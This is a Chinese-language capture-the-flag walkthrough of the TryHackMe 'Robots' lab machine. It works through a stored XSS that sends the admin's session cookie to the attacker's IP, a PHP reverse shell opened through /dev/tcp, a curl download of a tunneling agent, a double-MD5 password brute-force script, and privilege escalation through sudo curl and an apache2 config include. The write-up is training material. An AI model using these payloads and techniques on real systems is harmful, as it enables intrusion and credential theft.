Robots

https://tryhackme.com/room/robots | Hard

Notes：A (small) tribute to I. Asimov.

前期踩点

➜  robots nmap -sT -min-rate 5000 -p- 10.10.188.220       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 10:08 EDT
Warning: 10.10.188.220 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.188.220
Host is up (0.31s latency).
Not shown: 64287 closed tcp ports (conn-refused), 1245 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9000/tcp open  cslistener

Nmap done: 1 IP address (1 host up) scanned in 59.85 seconds

➜  robots nmap -sT -A -T4 -O -p 22,80,9000 10.10.188.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 10:10 EDT
Nmap scan report for 10.10.188.220
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.61
| http-robots.txt: 3 disallowed entries 
|_/harming/humans /ignoring/human/orders /harm/to/self
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: 403 Forbidden
9000/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: robots.thm

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   311.56 ms 10.21.0.1
2   311.71 ms 10.10.188.220

Web渗透

信息收集

将 robots.thm写入hosts，因为关卡名字是robots ，故访问一下robots文件

Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self

其中/harming/humans和/ignoring/human/orders 弹 403 ，/harm/to/self 是登录页

注册页

注册用户 sunset

da16e6c8fd634c1062184c03622da91a

登陆进去后的页面

点击左上角的 Server info ,是phpinfo信息

但是在里面能看到登陆后的Cookie

继续测试，测试了SQL注入等一系列漏洞后没找到可利用的，然后发现我们的用户名可以在登录后的后台中显示出来

我们尝试测试一下 XSS ，我们注册用户 <script>alert(2);</script> ，然后进行登录

可以发现代码被触发了，存在存储型XSS漏洞

XSS - 窃取管理员 Cookie

测试是否出网

<script>location.href='http://10.21.192.44/1111'</script>

可以，并且能发现服务端（可能注册页面的An admin monitors new users. 有关）会访问我们

尝试窃取管理员Cookie

<script>location.href='http://10.21.192.44/Cookie'+document.cookie</script>

发现并没有能接收到Cookie ，发现原来是开启了 HttpOnly

但是我们之前在后台页面的Server info 页面中有 Cookie 信息

编写XSS代码用于注册新用户，获取Server info 的内容并返回到我们的服务器中

<script>fetch('/harm/to/self/server_info.php').then(res=>res.text()).then(text=>{location='https://10.21.192.44/Cookie?content='+encodeURIComponent(text);});</script>

等待服务器访问，但是出现了问题，请求太大而无法成功将请求发出，修改代码仅抓取 PHPSESSID

<script>fetch('/harm/to/self/server_info.php',{credentials:'include'}).then(res=>res.text()).then(text=>{var m=text.match(/PHPSESSID=[^\s<>"']+/);if(m)location='http://10.21.192.44/Cookie?content='+encodeURIComponent(m[0]);});</script>

再次等待服务器访问

捕获到了服务器传来的请求

PHPSESSID=lmccs0n6v9oic0kl8iguvlmcuc

替换 Cookie ，刷新页面即可进入到管理员后台

进入后台后发现并没有什么新功能，Fuzz 一下

➜  robots ffuf -w ../../Dict/SecLists-2024.3/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://robots.thm/harm/to/self/FUZZ.php -fs 662

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://robots.thm/harm/to/self/FUZZ.php
 :: Wordlist         : FUZZ: /root/Desktop/Dict/SecLists-2024.3/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 662
________________________________________________

login                   [Status: 200, Size: 795, Words: 125, Lines: 36, Duration: 312ms]
register                [Status: 200, Size: 976, Words: 155, Lines: 39, Duration: 307ms]
admin                   [Status: 200, Size: 370, Words: 29, Lines: 28, Duration: 305ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 310ms]
config                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 305ms]

Fuzz 出来 admin.php

文件包含

输入管理页面地址 http://robots.thm/harm/to/self/admin.php

看输出应该是将其进行包含了，我们再测试一下

➜  robots cat test.php  
<?php echo("Test Page");?>

成功包含，我们进行反弹 shell

➜  robots cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.21.192.44/1234 0>&1'");?>

数据库脱库

查看 /etc/passwd 文件，貌似没有可以操作的用户

并且可能是在 Docker 容器中

查看配置文件 config.php

www-data@robots:/var/www/html/harm/to/self$ cat config.php 
<?php
    $servername = "db";
    $username = "robots";
    $password = "q4qCz1OflKvKwK4S";
    $dbname = "web";
// Get the current hostname
$currentHostname = $_SERVER['HTTP_HOST'];

// Define the desired hostname
$desiredHostname = 'robots.thm';

// Check if the current hostname does not match the desired hostname
if ($currentHostname !== $desiredHostname) {
    // Redirect to the desired hostname
    header("Location: http://$desiredHostname" . $_SERVER['REQUEST_URI']);
    exit();
}
ini_set('session.cookie_httponly', 1);

session_start();

?>

失败 - Stowaway backward

应该是要进行数据库登录了，但是 shell 中并没有 mysql 的命令，我们要将网络转发出去

www-data@robots:/tmp$ curl 10.21.192.44/linux_x64_agent --output /tmp/agent
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 2174k  100 2174k    0     0   528k      0  0:00:04  0:00:04 --:--:--  528k

./linux_x64_admin -l 8000 -s 123

www-data@robots:/tmp$ ./agent -c 10.21.192.44:8000 -s 123 -reconnect 8 &

(node 0) >> backward 3306 3306
[*] Trying to ask node to listen on 0.0.0.0:3306......
[*] Waiting for agent's response......
[*] Backward start successfully!

  (node 0) >> socks 8001 admin admin
[*] Trying to listen on 0.0.0.0:8001......
[*] Waiting for agent's response......
[*] Socks start successfully!

➜  robots proxychains mysql -urobots --protocol=TCP -p
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Enter password: 
[proxychains] Strict chain  ...  127.0.0.1:8001  ...  127.0.0.1:3306  ...  OK
ERROR 2013 (HY000): Lost connection to server at 'handshake: reading initial communication packet', system error: 11

失败 - Stowaway forward

反向不行我们直接转发过来试试

(node 0) >> forward 3306 127.0.0.1:3306
[*] Trying to listen on 0.0.0.0:3306......
[*] Waiting for agent's response......
[*] Forward start successfully!

结果是输入密码后直接卡住了

➜  robots mysql -h 127.0.0.1 --protocol=TCP -urobots -p 

Enter password:

成功 - chisel

换一个工具，服务端开启监听

➜  robots chisel server --reverse --port 2333   
2025/05/27 00:04:37 server: Reverse tunnelling enabled
2025/05/27 00:04:37 server: Fingerprint +OtHvMvU87AScwm7Y/c1/NuYSwGo2AypaVI6w47XEJU=
2025/05/27 00:04:37 server: Listening on http://0.0.0.0:2333
2025/05/27 00:06:04 server: session#1: tun: proxy#R:3306=>172.18.0.2:3306: Listening

靶机连接，并且转发端口

www-data@robots:/tmp$ ./chisel client 10.21.192.44:2333 R:3306:172.18.0.2:3306
2025/05/27 04:06:02 client: Connecting to ws://10.21.192.44:2333
2025/05/27 04:06:05 client: Connected (Latency 329.446954ms)

数据库连接

➜  robots mysql -h 127.0.0.1 -urobots -p               

Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 92
Server version: 11.5.2-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

MariaDB [web]> select * from users;
+----+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------+
| id | username                                                                                                                                                                                                                                    | password                         | group   |
+----+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------+
|  1 | admin                                                                                                                                                                                                                                       | 3e3d6c2d540d49b1a11cf74ac5a37233 | admin   |
|  2 | rgiskard                                                                                                                                                                                                                                    | dfb35334bf2a1338fa40e5fbb4ae4753 | nologin |
|  3 | <script>fetch('/harm/to/self/server_info.php',{credentials:'include'}).then(res=>res.text()).then(text=>{var m=text.match(/PHPSESSID=[^\s<>"']+/);if(m)location='http://10.21.192.44/Cookie?content='+encodeURIComponent(m[0]);});</script> | a978c62e8836b7b79411e4800b19363b | guest   |
+----+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------+
3 rows in set (0.307 sec)

爆破密码

我们知道密码是 username+ddmm

并且在写入数据库时还会进行一次 md5 ，所以是双重md5

$stmt = $pdo->prepare("INSERT into users (username,password,`group`) values (?,md5(?),'guest')");

编写脚本进行爆破

➜  robots cat pass.py 
#!/usr/bin/env python3

import hashlib

def md5_hash(text: str) -> str:
    return hashlib.md5(text.encode()).hexdigest()

def brute_force(prefix: str, target: str):
    for day in range(1, 32):
        for month in range(1, 13):
            suffix = f"{day:02d}{month:02d}"
            candidate = prefix + suffix
            if md5_hash(md5_hash(candidate)) == target:
                print(f"[+] Found: {candidate}")
                return candidate
    print("[-] No match found.")
    return None

if __name__ == "__main__":
    prefix = "rgiskard"
    target = "dfb35334bf2a1338fa40e5fbb4ae4753" 
    result = brute_force(prefix, target)
    if result:
        print("Success.")
    else:
        print("Failed.")

➜  robots python pass.py
[+] Found: rgiskard2209
Success.

➜  robots ssh -o IdentitiesOnly=yes -o PubkeyAuthentication=no -o PasswordAuthentication=yes rgsisard@10.10.207.123

rgsikard@10.10.207.123's password: 
Permission denied, please try again.
rgsikard@10.10.207.123's password: 
Received disconnect from 10.10.207.123 port 22:2: Too many authentication failures
Disconnected from 10.10.207.123 port 22

尝试使用 MD5

➜  robots python pass.py
[+] Found: rgiskard2209
[+] MD5: b246f21ff68cae9503ed6d18edd32dae
[+] DMD5: dfb35334bf2a1338fa40e5fbb4ae4753
Success.

使用密码的hash值可以登录进去

➜  robots ssh -o IdentitiesOnly=yes -o PubkeyAuthentication=no -o PasswordAuthentication=yes rgiskard@10.10.207.123

rgiskard@10.10.207.123's password: 
rgiskard@ubuntu-jammy:~$

权限提升

To Dolivaw

查看 sudo 权限

rgiskard@ubuntu-jammy:~$ sudo -l
[sudo] password for rgiskard: 
Matching Defaults entries for rgiskard on ubuntu-jammy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User rgiskard may run the following commands on ubuntu-jammy:
    (dolivaw) /usr/bin/curl 127.0.0.1/*

我们可以使用 -o 参数给dolivaw写入我们的公钥

如何通过 curl 写入公钥

rgiskard@ubuntu-jammy:~$ sudo -u dolivaw /usr/bin/curl 127.0.0.1/ -o /tmp/noting file:///tmp/ssh -o /home/dolivaw/.ssh/authorized_keys
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   274  100   274    0     0   102k      0 --:--:-- --:--:-- --:--:--  133k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   563  100   563    0     0   847k      0 --:--:-- --:--:-- --:--:--  847k

➜  robots ssh dolivaw@10.10.207.123   
dolivaw@ubuntu-jammy:~$

To Root

查看 sudo 权限

dolivaw@ubuntu-jammy:~$ sudo -l
Matching Defaults entries for dolivaw on ubuntu-jammy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dolivaw may run the following commands on ubuntu-jammy:
    (ALL) NOPASSWD: /usr/sbin/apache2

到这里不太会，看了下WP ，可以通过 -c 参数来泄露 flag

首先先注释配置文件的一些配置

dolivaw@ubuntu-jammy:~$ cp /etc/apache2/apache2.conf /tmp/apache2.conf

 80 #DefaultRuntimeDir ${APACHE_RUN_DIR}

运行apache2 泄露 flag

dolivaw@ubuntu-jammy:~$ sudo /usr/sbin/apache2  -C "Include /root/root.txt"  -f /tmp/apache2.conf -k start
[Tue May 27 05:24:47.549392 2025] [core:warn] [pid 5096] AH00111: Config variable ${APACHE_PID_FILE} is not defined
[Tue May 27 05:24:47.549461 2025] [core:warn] [pid 5096] AH00111: Config variable ${APACHE_RUN_USER} is not defined
[Tue May 27 05:24:47.549466 2025] [core:warn] [pid 5096] AH00111: Config variable ${APACHE_RUN_GROUP} is not defined
[Tue May 27 05:24:47.549477 2025] [core:warn] [pid 5096] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
[Tue May 27 05:24:47.552532 2025] [core:warn] [pid 5096:tid 140527105746816] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
[Tue May 27 05:24:47.552716 2025] [core:warn] [pid 5096:tid 140527105746816] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
[Tue May 27 05:24:47.552737 2025] [core:warn] [pid 5096:tid 140527105746816] AH00111: Config variable ${APACHE_LOG_DIR} is not defined
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'THM{2a279561f5eea907f7617df3982cee24}', perhaps misspelled or defined by a module not included in the server configuration

THM{2a279561f5eea907f7617df3982cee24}

user.txt

dolivaw@ubuntu-jammy:~$ cat user.txt 
THM{9b17d3c3e86c944c868c57b5a7fa07d8}

总结

很好玩的机器，存储型 XSS 窃取管理员 Cookie。

也遇到 stowaway 的一些 bug，转发过来的 3306 端口貌似会有问题，通过 chisel 解决。

最后是学习到本地使用apache2 进行权限提升（任意文件读取），其实有很多方法可以获得root shell的，其中一个文章（https://0xb0b.gitbook.io/writeups/tryhackme/2025/robots#shell-as-root）是通过日志文件写入公钥而获得 root shell 。

以及文章：https://jaxafed.github.io/posts/tryhackme-robots/#unintended-2-rce-with-cgi-scripts ，其中使用 CGI 脚本活得 Docker 组权限，然后再进行权限提升。

TryHackMe - Robots